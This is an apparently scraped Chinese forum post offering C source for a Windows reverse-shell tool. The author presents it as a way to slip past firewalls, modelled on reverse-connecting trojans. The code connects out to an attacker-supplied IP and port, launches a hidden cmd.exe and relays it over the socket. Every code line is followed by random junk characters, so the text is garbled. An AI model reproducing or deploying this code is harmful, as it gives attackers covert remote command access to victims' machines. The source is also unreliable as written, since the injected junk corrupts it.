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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E+Im~=m$  
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/* ============================== E\_W  
Rebound port in Windows NT v}&#f&q!  
By wind,2006/7 UE{,.s  
===============================*/ bk0Y  
#include IyT ?-R  
#include $^K]&Mft  
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#pragma comment(lib,"wsock32.lib") bz$Qk;m=H  
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void OutputShell(); 1N>6rN  
SOCKET sClient; `LE^:a:8,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s{cKBau  
2@4x"F]U;  
void main(int argc,char **argv) m]1!-`(*  
{ N-D(y  
WSADATA stWsaData; ,b:n1  
int nRet; {:3.27jQ  
SOCKADDR_IN stSaiClient,stSaiServer; BL0 |\&*1  
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if(argc != 3) /<6ywLD  
{ \ U Ax(;  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^J0zXe -d  
return; l`G(O$ct  
} =p5?+3" @  
rQn{L{  
WSAStartup(MAKEWORD(2,2),&stWsaData); Esb ?U|F4  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D7M0NEY  
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stSaiClient.sin_family = AF_INET; )&XnM69~b  
stSaiClient.sin_port = htons(0); j=FMYd8$y  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Mq76]I%  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g%X&f_@  
{ ~c!Rx'  
printf("Bind Socket Failed!\n"); ot]>}[  
return; jT{f<P0  
} Lr wINVa  
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stSaiServer.sin_family = AF_INET; Is<x31R  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >1m)%zt  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Gee~>:_Q{J  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 692Rw}/  
{ &3WkH W   
printf("Connect Error!"); Mp^^!AP9  
return; -g9^0V`G  
} NP$e-" 1  
OutputShell(); *&(2`#C;  
} @X K>  
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void OutputShell() nG!&u1*  
{ KlY,NSlQ  
char szBuff[1024]; #NW Zk.S  
SECURITY_ATTRIBUTES stSecurityAttributes; -QN1oK@\mE  
OSVERSIONINFO stOsversionInfo; BXNI(7xi  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FwXKRZa  
STARTUPINFO stStartupInfo; j p!  
char *szShell; *1\z^4=a]  
PROCESS_INFORMATION stProcessInformation; } /[_  
unsigned long lBytesRead; z~BD(FDI  
k& WS$R?u  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (W7;}gysh  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); eVZa6la"  
stSecurityAttributes.lpSecurityDescriptor = 0; A<mj8qz  
stSecurityAttributes.bInheritHandle = TRUE; o`b$^hv{A  
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bK!,Pc<  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N[0 xqQ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); TNyK@~#m  
f#'8"ff*1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |sA4:Aq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zhuy ePn  
stStartupInfo.wShowWindow = SW_HIDE; 67}]s@:l](  
stStartupInfo.hStdInput = hReadPipe; zv$Gma_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ub[""M?  
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GetVersionEx(&stOsversionInfo); +8Of-ZUx  
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switch(stOsversionInfo.dwPlatformId) l#X=]xQf  
{ wy,Jw3  
case 1: wCV>F-  
szShell = "command.com"; #L_@s d  
break; NS7@8 #C  
default: \R6;Fef  
szShell = "cmd.exe"; E}]I%fi  
break; F5<"ktnI  
} TTeAa  
"Q3PC!7X:5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xN e_qO  
fndK/~?]H  
send(sClient,szMsg,77,0); ' 9IP;  
while(1) _7rqXkp%  
{ <I>%m,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A)hq0FPp  
if(lBytesRead) ]jHgo](%  
{ ]]\)=F`n77  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); //#xK D  
send(sClient,szBuff,lBytesRead,0); ATKYjhc _  
} M,.b`1-w  
else (iHf9*i CV  
{ R2Twm!1  
lBytesRead=recv(sClient,szBuff,1024,0); 5u'TmLuKT  
if(lBytesRead<=0) break; {D;Xa`:O  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OT-n\sL$  
} Zk~nB}Xw  
} 4(` 2#  
a9yIV5_N  
return; skk-.9  
}
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